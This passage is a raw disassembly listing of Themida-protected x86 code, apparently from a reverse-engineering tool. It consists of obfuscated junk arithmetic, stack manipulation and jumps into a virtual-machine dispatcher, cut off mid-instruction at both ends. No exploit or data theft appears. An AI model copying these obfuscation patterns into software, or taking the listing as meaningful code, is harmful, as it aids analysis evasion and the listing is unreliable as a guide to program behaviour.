ebx mov ebx, [esp+4Ch+var_4E+2] add esp, 4 add [edi+20h], esi push [esp+48h+var_4A+2] pop esi push edx push esp jmp loc_558FA9 ; --------------------------------------------------------------------------- loc_55DCD3: ; CODE XREF: sub_559C84+203Fj mov esi, [esp+48h+var_4A+2] add esp, 4 jmp loc_553C4A ; --------------------------------------------------------------------------- loc_55DCE1: ; CODE XREF: sub_559C84-5357j mov [esp+3Ch+var_3E+2], eax push 176D1ECDh pop eax shr eax, 7 shr eax, 2 push edx push ebp mov ebp, 6F1D7479h mov edx, 612B46E2h xor edx, ebp pop ebp push ebx mov ebx, 65410D78h sub ebx, 583842F1h jmp loc_55C3C8 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55DD10 proc near ; CODE XREF: sub_559C84+E3Dj var_4 = dword ptr -4 push ebx mov ebx, esp add ebx, 4 push edi mov edi, 5B6D6C0Eh xor edi, 5B6D6C0Ah sub ebx, edi pop edi xchg ebx, [esp+4+var_4] pop esp jmp loc_55B8CC sub_55DD10 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DD31: ; CODE XREF: sub_559C84-45A4j push esi neg dword ptr [esp+0] pop esi not esi jmp loc_55469C ; --------------------------------------------------------------------------- loc_55DD3D: ; CODE XREF: sub_559C84+12DCj add edi, esi jmp loc_556127 ; --------------------------------------------------------------------------- loc_55DD44: ; CODE XREF: sub_559C84+A5Aj mov [esp+4Ah+var_4A], edx jmp loc_559B75 ; --------------------------------------------------------------------------- loc_55DD4C: ; CODE XREF: sub_559C84-51F4j add esp, 4 sub al, 0A6h jmp loc_5567B5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_55DD59: ; CODE XREF: sub_555BE3+2675j mov edi, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] jmp loc_55493F ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- loc_55DD67: ; CODE XREF: Themida_:00556BEBj xor ah, 88h push ecx jmp loc_554312 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DD70: ; CODE XREF: sub_559C84+2D8Bj push esi mov esi, esp jmp loc_5541B8 ; --------------------------------------------------------------------------- loc_55DD78: ; CODE XREF: sub_559C84-6638j add esp, 4 inc bl shl bl, 3 jmp loc_55D0E4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55DD85: ; CODE XREF: Themida_:00558E41j xor [esp], ebx xor ebx, [esp] pop esp jmp loc_553E2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DD91: ; CODE XREF: sub_559C84+2B0j add esp, 4 sub al, bl push dx mov dh, 0F5h jmp loc_5584FE ; --------------------------------------------------------------------------- loc_55DDA2: ; CODE XREF: sub_559C84-C48j xor edi, 1F867A3h jmp loc_553AB4 ; --------------------------------------------------------------------------- loc_55DDAD: ; CODE XREF: sub_559C84-4465j pop ecx push [esp+2Ch+var_2C] jmp loc_556101 ; --------------------------------------------------------------------------- loc_55DDB6: ; CODE XREF: sub_559C84-36FAj add esp, 4 push eax push esp pop eax add eax, 4 sub eax, 4 sub esp, 4 mov [esp+4Ch+var_4E+2], eax push [esp+4Ch+var_4A+2] pop eax pop [esp+4Ch+var_4E+2] pop esp mov [esp+44h+var_46+2], ecx push 2964h mov [esp+48h+var_4A+2], edx mov edx, 3B6E3FD6h push edi push edx mov edx, 7D054005h mov edi, edx jmp loc_55EFF1 ; --------------------------------------------------------------------------- loc_55DDF6: ; CODE XREF: sub_559C84-37DBj add ebx, 0D40085C3h push edi mov edi, esp add edi, 4 jmp loc_55E3E8 ; --------------------------------------------------------------------------- loc_55DE0A: ; CODE XREF: sub_559C84-5E00j push dword ptr [esp+0] jmp loc_55B447 ; --------------------------------------------------------------------------- loc_55DE12: ; CODE XREF: sub_559C84-2A06j push 7341h mov [esp+0], edx jmp loc_555E6F ; --------------------------------------------------------------------------- loc_55DE1F: ; CODE XREF: sub_559C84-368Cj xor ebp, 7703631Eh sub edi, ebp pop ebp mov ecx, edi pop edi sub esi, 76C25830h add esi, ecx jmp loc_554145 ; --------------------------------------------------------------------------- loc_55DE38: ; CODE XREF: sub_559C84+12C3j pop ebx push edi mov edi, edx mov ebx, edi pop edi pop edx sub ebx, ecx push ebx pop ecx pop ebx shr ecx, 7 push edi jmp loc_55B6FE ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55DE4E proc near ; CODE XREF: sub_559C84+26ADj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00553AAE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00558F81 SIZE 00000007 BYTES push ebx mov ebx, 16E22DCDh xor edx, ebx mov ebx, [esp+4+var_4] jmp loc_553AAE sub_55DE4E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DE5E: ; CODE XREF: sub_559C84+2196j pop ecx xchg ebp, [esp+30h+var_30] mov esp, [esp+30h+var_30] rol byte ptr [esp+30h+var_30], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55DE6E: ; CODE XREF: sub_559C84+2781j mov ecx, 5E8548B1h sub ebp, ecx jmp loc_554FC7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55DE7A: ; CODE XREF: Themida_:005557CCj push 0F68h mov [esp], ecx mov ecx, esp jmp loc_55C623 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DE89: ; CODE XREF: sub_559C84-966j push eax mov eax, 1893A84h neg eax xor eax, 0D318B971h sub edi, eax pop eax jmp loc_5546BC ; --------------------------------------------------------------------------- loc_55DE9E: ; CODE XREF: sub_559C84+5574j mov esp, [esp+4Eh+var_4E] jmp loc_5535CD ; --------------------------------------------------------------------------- loc_55DEA6: ; CODE XREF: sub_559C84+28Ej and ebx, 6E350609h dec ebx jmp loc_55AC44 ; --------------------------------------------------------------------------- loc_55DEB2: ; CODE XREF: sub_559C84-357Dj pop esi xchg edi, [esp+4Ch+var_4E+2] pop esp mov [esp+48h+var_4A+2], edx jmp loc_55BB90 ; --------------------------------------------------------------------------- loc_55DEBF: ; CODE XREF: sub_559C84-35C4j mov esp, [esp+4Ch+var_4E+2] sub byte ptr [esp+4Ch+var_4E+2], al pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55DECB: ; CODE XREF: sub_559C84-34CBj push [esp+58h+var_58] pop ebx push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_557400 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] push 1366h mov [esp], ebx push esp jmp loc_55BF28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DEF2: ; CODE XREF: sub_559C84-35Aj mov [esp+0], edx jmp sub_5538DF ; --------------------------------------------------------------------------- loc_55DEFA: ; CODE XREF: sub_559C84-1CE9j push [esp+52h+var_52] pop esi push edx mov edx, esp jmp loc_553828 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5597C1 loc_55DF06: ; CODE XREF: sub_5597C1+43Bj pop ecx and eax, esi push [esp+4+var_4] pop esi add esp, 4 jmp loc_553F39 ; END OF FUNCTION CHUNK FOR sub_5597C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DF18: ; CODE XREF: sub_559C84+2278j mov edx, ecx pop ecx jmp loc_559511 ; --------------------------------------------------------------------------- loc_55DF20: ; CODE XREF: sub_559C84+357Bj shr cx, 7 xor cx, 5B7Ah xor cx, 6167h sub bx, cx jmp loc_55A95E ; --------------------------------------------------------------------------- loc_55DF36: ; CODE XREF: sub_559C84-132Bj shl bl, 3 jmp loc_55FC0A ; --------------------------------------------------------------------------- loc_55DF3E: ; CODE XREF: sub_559C84+FE1j add eax, ebx sub eax, 7B6546CAh push 45C3h mov [esp+38h+var_3A+2], ecx mov ecx, 3871499Eh sub eax, 72B606F7h add eax, ecx jmp loc_5559C4 ; --------------------------------------------------------------------------- loc_55DF5E: ; CODE XREF: sub_559C84-1B4j sub ebp, edx pop edx jmp loc_55BA72 ; --------------------------------------------------------------------------- loc_55DF66: ; CODE XREF: sub_559C84-2D7Bj mov edi, esp jmp loc_559C0C ; --------------------------------------------------------------------------- loc_55DF6D: ; CODE XREF: sub_559C84-17FFj mov ecx, 4 jmp loc_55546A ; --------------------------------------------------------------------------- loc_55DF77: ; CODE XREF: sub_559C84+11BBj mov ecx, [esp+0Ch+var_C] sub esp, 4 mov [esp+10h+var_10], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+10h+var_10] pop esp xor ebx, eax sub esp, 4 mov [esp+10h+var_10], edx sub esp, 4 mov [esp+14h+var_14], esi mov esi, 51AE0B46h mov edx, 51AE0B72h sub edx, esi jmp loc_55481F ; --------------------------------------------------------------------------- loc_55DFB8: ; CODE XREF: sub_559C84-46B9j mov esi, esp push 7ECAh mov [esp+46h+var_46], ecx push edi push 5F7B33E2h pop edi push ebp jmp loc_5562C0 ; --------------------------------------------------------------------------- loc_55DFCF: ; CODE XREF: sub_559C84-6253j add ch, al mov eax, [esp+4Ah+var_4A] add esp, 4 add al, ch jmp loc_55353F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55DFEA: ; CODE XREF: sub_559C84-1A6Cj sub eax, 170E01C6h mov ecx, [eax] jmp loc_555CED ; --------------------------------------------------------------------------- loc_55DFF6: ; CODE XREF: sub_559C84-5AC2j inc eax jmp loc_55AAB9 ; --------------------------------------------------------------------------- loc_55DFFC: ; CODE XREF: sub_559C84-4758j add ch, 22h sub dl, ch jmp loc_55631D ; --------------------------------------------------------------------------- loc_55E006: ; CODE XREF: sub_559C84+3B46j sub ebp, 0D0414986h and ecx, ebp pop ebp jmp loc_55E6C6 ; --------------------------------------------------------------------------- loc_55E014: ; CODE XREF: sub_559C84-439Cj and eax, 64FD7B7Dh xor eax, 3B980C90h sub ebx, eax pop eax push ebp push edi mov edi, 68863113h jmp loc_553C8D ; --------------------------------------------------------------------------- loc_55E02D: ; CODE XREF: sub_559C84-2E98j push ecx mov ch, al jmp loc_55C4B1 ; --------------------------------------------------------------------------- loc_55E035: ; CODE XREF: sub_559C84-51B1j pop esp add eax, 16251FDBh jmp loc_558CC8 ; --------------------------------------------------------------------------- loc_55E040: ; CODE XREF: sub_559C84+299Aj push eax mov eax, 8B94856h add esi, eax pop eax and esi, 1ED23F27h jmp loc_555DFE ; --------------------------------------------------------------------------- loc_55E054: ; CODE XREF: sub_559C84+557Ej pop ebx and eax, ecx push [esp+2Eh+var_30+2] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+32h+var_34+2] jmp loc_553FB3 ; --------------------------------------------------------------------------- loc_55E070: ; CODE XREF: sub_559C84+295Dj neg edx xor edx, 2ED803A8h and edx, 5B27685Fh add edx, 0EFF9BFE5h jmp loc_55F0EF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E091: ; CODE XREF: sub_559C84+4D2Aj push edi push eax mov eax, 1AB47669h mov edi, eax jmp loc_553CAC ; --------------------------------------------------------------------------- loc_55E09F: ; CODE XREF: sub_559C84-4719j pop ebp jmp loc_55AE62 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E0A5: ; CODE XREF: Themida_:005591BAj push edi push esp mov edi, [esp] jmp loc_553A36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E0AF: ; CODE XREF: sub_559C84-AF9j add [esp+2Ah+var_2C+2], eax push eax mov eax, 7E5E3C9Ah sub [esp+2Eh+var_2C+2], 4C332B42h sub [esp+2Eh+var_2C+2], eax jmp loc_55AEF0 ; --------------------------------------------------------------------------- loc_55E0C9: ; CODE XREF: sub_559C84-1E7j dec edi sub edi, 0F7F6DFFBh mov ecx, edi pop edi push ecx jmp loc_55F8CA ; --------------------------------------------------------------------------- loc_55E0D9: ; CODE XREF: sub_559C84-575Fj mov ecx, [esp+30h+var_30] add esp, 4 sub bl, al pop ax add bl, 0DBh add bl, 51h add bl, al jmp loc_555657 ; --------------------------------------------------------------------------- loc_55E0F3: ; CODE XREF: sub_559C84-1B43j xchg esi, ebx not esi xchg esi, ebx sub ebx, 0B3D8B99h sub edx, ebx mov ebx, [esp+52h+var_52] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55A951 ; --------------------------------------------------------------------------- loc_55E118: ; CODE XREF: sub_559C84-E71j push [esp+20h+var_1C] pop edx jmp loc_55F5D9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E122: ; DATA XREF: Themida_:00553274o mov cx, [esp] push 178Ch mov [esp], edx mov edx, esp push esi jmp loc_557E9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E136: ; CODE XREF: sub_559C84+2D0Aj jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E13B: ; DATA XREF: Themida_:0055335Co lodsd jmp loc_55A034 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E141: ; CODE XREF: sub_559C84+5736j xor edx, 2C395F5Eh xor edx, 16270A54h inc edx add edx, 0FFFFFFFFh jmp loc_55CABE ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E611 loc_55E159: ; CODE XREF: sub_55E611-6FE4j mov edx, ecx mov edi, edx jmp loc_55410F ; END OF FUNCTION CHUNK FOR sub_55E611 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E162: ; CODE XREF: sub_559C84+3E07j push dword ptr [esp+4] pop ebx jmp loc_553B58 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E16C: ; CODE XREF: Themida_:00557893j push dword ptr [esp] pop eax add esp, 4 add eax, 3D692111h jmp loc_55D2E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F608 loc_55E180: ; CODE XREF: sub_55F608+10j pop ecx or ecx, edi pop edi shr ecx, 1 shr ecx, 8 inc ecx sub esp, 4 mov [esp+0], esi jmp loc_557479 ; END OF FUNCTION CHUNK FOR sub_55F608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E198: ; CODE XREF: sub_559C84-17CDj mov [esp+3Ah+var_3A], ecx mov ecx, 74CD4AACh jmp loc_55E2FC ; --------------------------------------------------------------------------- loc_55E1A5: ; CODE XREF: sub_559C84-E02j mov [esp+32h+var_34+2], edi jmp loc_55AD00 ; --------------------------------------------------------------------------- loc_55E1AD: ; CODE XREF: sub_559C84+27FDj mov esp, [esp+50h+var_52+2] and word ptr [esp+50h+var_52+2], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55E1BA: ; CODE XREF: sub_559C84-3778j pop [esp+3Ah+var_3A] pop esp mov [esp+32h+var_34+2], eax mov eax, 20h add eax, 4C667598h add eax, 40784718h add eax, edi sub eax, 40784718h sub eax, 4C667598h jmp sub_553ADA ; --------------------------------------------------------------------------- loc_55E1E1: ; CODE XREF: sub_559C84+2E7Aj push [esp+58h+var_58] jmp loc_55E7FD ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5553EA loc_55E1E9: ; CODE XREF: sub_5553EA+2484j xor [esp+0], ecx xor ecx, [esp+0] pop esp dec [esp-4+arg_0] pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_5553EA ; =============== S U B R O U T I N E ======================================= sub_55E1F9 proc near ; CODE XREF: sub_559C84-653Fj ; FUNCTION CHUNK AT 00559656 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055EFD0 SIZE 00000016 BYTES push ebp mov ebp, 0D75546h jmp loc_559656 sub_55E1F9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E204: ; CODE XREF: sub_559C84-247Dj mov ah, 7Ah xor ah, cl pop ecx jmp loc_553D91 ; --------------------------------------------------------------------------- loc_55E20E: ; CODE XREF: sub_559C84+21ACj pop dword ptr [edi+20h] sub dword ptr [edi+20h], 2716582Eh mov edx, [esp+34h+var_34] add esp, 4 jmp loc_5556A2 ; --------------------------------------------------------------------------- loc_55E223: ; CODE XREF: sub_559C84-6378j add esp, 4 jmp sub_55E51A ; --------------------------------------------------------------------------- loc_55E22B: ; CODE XREF: sub_559C84+2E04j mov esi, esp add esi, 4 push ebp jmp loc_55926B ; --------------------------------------------------------------------------- loc_55E239: ; CODE XREF: sub_559C84+23C5j sub edx, 60D73D2Ah add edx, esi add edx, 60D73D2Ah pop esi add edx, 4 xor edx, [esp+46h+var_46] jmp loc_55C2F0 ; --------------------------------------------------------------------------- loc_55E256: ; CODE XREF: sub_559C84+72Cj push dx mov dh, 2 sub al, dh pop dx sub al, 0A1h push dx mov dl, 9Fh sub al, 87h jmp loc_55415A ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55E26B proc near ; DATA XREF: Themida_:005534ACo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005539AF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00554239 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00554679 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00555DF4 SIZE 0000000A BYTES push dword ptr [esp+0] push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 add esp, 4 push 222Ch jmp loc_555DF4 sub_55E26B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E287: ; CODE XREF: sub_559C84-31E5j add ecx, edi sub ecx, 10B76326h pop edi xchg ecx, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] mov cx, word ptr [esp+40h+var_42+2] push 76A4h jmp loc_5598C9 ; --------------------------------------------------------------------------- loc_55E2A4: ; CODE XREF: sub_559C84-29Fj xor ebx, edx pop edx jmp loc_556161 ; --------------------------------------------------------------------------- loc_55E2AC: ; CODE XREF: sub_559C84-5BE2j mov [esp+2+var_4+2], ebx mov bl, 18h shr bl, 2 jmp loc_5553F5 ; --------------------------------------------------------------------------- loc_55E2B9: ; CODE XREF: sub_559C84+115Aj sub ebx, 231D53BCh sub ebx, esi add ebx, 231D53BCh pop esi pop esi add ebx, eax add ebx, 60DC5818h jmp loc_559519 ; --------------------------------------------------------------------------- loc_55E2D6: ; CODE XREF: sub_559C84+46F3j xor eax, 28D427A6h push 1405h mov [esp+0], ebx jmp loc_55613E ; --------------------------------------------------------------------------- loc_55E2E8: ; CODE XREF: sub_559C84+1126j shr eax, 0Bh xor ecx, eax push esi push ecx mov ecx, esp add ecx, 4 jmp loc_557DED ; --------------------------------------------------------------------------- loc_55E2FC: ; CODE XREF: sub_559C84+451Cj dec ecx not ecx inc ecx xchg edi, ecx not edi xchg edi, ecx not ecx sub ecx, 8B32B553h add edx, ecx pop ecx xchg edx, [esp+0] mov esp, [esp+0] test cl, al pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557ED1 loc_55E31F: ; CODE XREF: sub_557ED1+11j add eax, ebx jmp loc_55A0CC ; END OF FUNCTION CHUNK FOR sub_557ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E326: ; CODE XREF: sub_559C84+49ECj and dl, 88h sub dl, 77h and dl, 57h jmp loc_557A8A ; --------------------------------------------------------------------------- loc_55E334: ; CODE XREF: sub_559C84+3283j add edi, ebx sub edi, 440A6EBAh pop ebx jmp loc_556BB4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_55E342 proc near ; CODE XREF: sub_559C84-852j ; FUNCTION CHUNK AT 00557B2A SIZE 0000000B BYTES push ebp mov ebp, esp jmp loc_557B2A sub_55E342 endp ; =============== S U B R O U T I N E ======================================= sub_55E34A proc near ; CODE XREF: sub_559C84+1109j push ebx mov ebx, 6F1C4FDAh jmp loc_55C949 sub_55E34A endp ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55895E loc_55E35D: ; CODE XREF: sub_55895E-4FF0j push [esp+4+var_4] mov ebp, [esp+8+var_8] add esp, 4 push eax jmp loc_55385D ; END OF FUNCTION CHUNK FOR sub_55895E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E36C: ; CODE XREF: sub_559C84+55ECj mov eax, 28D427A6h xor [esp+4], eax pop eax pop eax jmp loc_55E2D6 ; --------------------------------------------------------------------------- loc_55E37C: ; CODE XREF: sub_559C84-352Fj add esp, 4 sub esp, 4 mov [esp+50h+var_52+2], ebp mov ebp, 51120192h xor ebp, 55E11EF4h jmp loc_5564D7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] push esi mov esi, esp sub esp, 4 mov [esp], edi push ecx push 5B572D96h pop ecx push edi mov edi, 4A8E497Ch shr edi, 6 add edi, 56A53FBCh xor edi, 0F367AA8Fh add ecx, edi pop edi sub esp, 4 mov [esp], ebp jmp loc_55BE35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E3D5: ; CODE XREF: sub_559C84-4A06j not al push cx mov ch, 0Bh jmp loc_55ABF8 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E3E8: ; CODE XREF: sub_559C84+4181j sub edi, 4 xor edi, [esp+4Ah+var_4A] xor [esp+4Ah+var_4A], edi xor edi, [esp+4Ah+var_4A] pop esp mov [esp+46h+var_46], ebx jmp loc_555E7D ; --------------------------------------------------------------------------- loc_55E400: ; CODE XREF: sub_559C84-3375j push [esp-1Ah+arg_14+2] mov edx, [esp-16h+arg_10+2] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_559F30 ; --------------------------------------------------------------------------- loc_55E41A: ; CODE XREF: sub_559C84+1C43j mov eax, [esp+42h+var_42] add esp, 4 jmp loc_55CB5B ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55E425 proc near ; CODE XREF: sub_559C84+DF1j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00556E29 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005574A3 SIZE 00000030 BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp add esi, 4 push edi mov edi, 4 jmp loc_556E29 sub_55E425 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E446: ; CODE XREF: sub_559C84-1170j mov ecx, [esp+4Ah+var_4A] jmp loc_555707 ; --------------------------------------------------------------------------- loc_55E44E: ; CODE XREF: sub_559C84+4EC7j or edx, 4E725844h jmp loc_55EDDF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E459: ; CODE XREF: Themida_:00557EA5j not esi push 1A0h mov [esp], ecx mov ecx, 5FCB036Fh add ecx, 4E8E24C4h and ecx, 4791624Ch add ecx, 529354Ah push esi jmp loc_55C8F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E480: ; CODE XREF: sub_559C84-3FC0j pop edi sub esp, 4 mov [esp+3Eh+var_3E], edx jmp loc_558634 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55E48F proc near ; DATA XREF: Themida_:00553498o mov ax, [esp+0] push ecx jmp loc_55D9DD sub_55E48F endp ; --------------------------------------------------------------------------- loc_55E499: ; CODE XREF: Themida_:00555507j mov [esp], ebp mov ebp, 2 add edx, ebp jmp loc_55C9ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E4A8: ; CODE XREF: sub_559C84+48D1j pop esi sub esp, 4 mov [esp+3Eh+var_3E], ebp mov ebp, 6674069Ch sub ebx, ebp mov ebp, [esp+3Eh+var_3E] add esp, 4 movzx ax, byte ptr [eax] push 1E15h jmp loc_553D65 ; --------------------------------------------------------------------------- loc_55E4CA: ; CODE XREF: sub_559C84-181Cj push esi mov esi, 32B772CBh add esi, 0CD488D39h sub ebp, esi pop esi xchg ebp, [esp+3Eh+var_3E] pop esp jmp loc_559FA7 ; --------------------------------------------------------------------------- loc_55E4E2: ; CODE XREF: sub_559C84+7E7j push [esp+4Ah+var_4A] pop ebp push 69ACh jmp loc_559BEB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E4F0: ; CODE XREF: Themida_:0055FC18j push ecx jmp loc_55D96B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E4F6: ; CODE XREF: sub_559C84-31C6j mov ecx, esp jmp loc_556F60 ; --------------------------------------------------------------------------- loc_55E4FD: ; CODE XREF: sub_559C84+57A4j pop eax add edi, 4E8664Ch add edi, ecx sub edi, 4E8664Ch mov ecx, [esp+5Ah+var_5C+2] add esp, 4 jmp loc_55A0D2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55E51A proc near ; CODE XREF: sub_559C84+45A2j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00554FFF SIZE 00000013 BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_554FFF sub_55E51A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E525: ; CODE XREF: sub_559C84-34D4j shr ebp, 3 push edx mov edx, 1 sub ebp, edx pop edx jmp loc_5572D5 ; --------------------------------------------------------------------------- loc_55E536: ; CODE XREF: sub_559C84+5EF4j mov eax, esp jmp loc_55EA0E ; --------------------------------------------------------------------------- loc_55E53D: ; CODE XREF: sub_559C84-F22j push 4B3Fh jmp loc_55A981 ; --------------------------------------------------------------------------- loc_55E547: ; CODE XREF: sub_559C84+3009j pop esp btr word ptr [esp+42h+var_42], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_55E553: ; CODE XREF: sub_559C84+E7Fj add ebx, esi jmp loc_55E4A8 ; --------------------------------------------------------------------------- loc_55E55A: ; CODE XREF: sub_559C84-4E1Cj mov edi, ecx pop ecx add ebx, edi mov edi, [esp+44h+var_46+2] add esp, 4 add ebx, 4 push ebx push [esp+44h+var_42+2] pop ebx pop [esp+44h+var_46+2] pop esp add esp, 4 idiv ecx push 22D4h mov [esp+3Ch+var_3E+2], edx mov edx, esp sub esp, 4 mov [esp+40h+var_42+2], ebp mov ebp, 4 jmp loc_55BDF9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55E597: ; CODE XREF: Themida_:00557611j push 48D5h mov [esp], ebp mov ebp, 2 push ebp push esi jmp loc_55ED53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E5AB: ; CODE XREF: sub_559C84-5FBj sub ebx, ebp jmp loc_5578F8 ; --------------------------------------------------------------------------- loc_55E5B2: ; CODE XREF: sub_559C84+4C6j mov eax, 4724315Dh neg eax xor eax, 0E990CEABh mov edi, eax mov eax, [esp+8+var_8] add esp, 4 shr edi, 7 sub edi, 23BD7CC9h shr edi, 2 shr edi, 3 shl edi, 1 sub edi, 0DCE518Eh jmp loc_55AA10 ; --------------------------------------------------------------------------- loc_55E5E5: ; CODE XREF: sub_559C84-32DCj mov ebp, 49E249D6h or ebp, 3E16728Bh xor ebp, 39A5170Ch sub eax, ebp jmp loc_555B43 ; --------------------------------------------------------------------------- loc_55E5FD: ; CODE XREF: sub_559C84-669Ej push 0 sub [esp+4+var_4], 1E9172D0h sub [esp+4+var_4], eax jmp loc_5560DB ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55E611 proc near ; CODE XREF: sub_559C84-64C3j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0055410F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00557629 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055E159 SIZE 00000009 BYTES sub esp, 4 jmp loc_557629 sub_55E611 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55E619: ; CODE XREF: sub_559C84+2A8Bj add edx, 4 push esi jmp loc_55EC7C ; --------------------------------------------------------------------------- loc_55E625: ; CODE XREF: sub_559C84+568Bj and ebx, 0F7844F0h shr ebx, 4 add ebx, 647D06C8h sub ebx, 1 push edi jmp 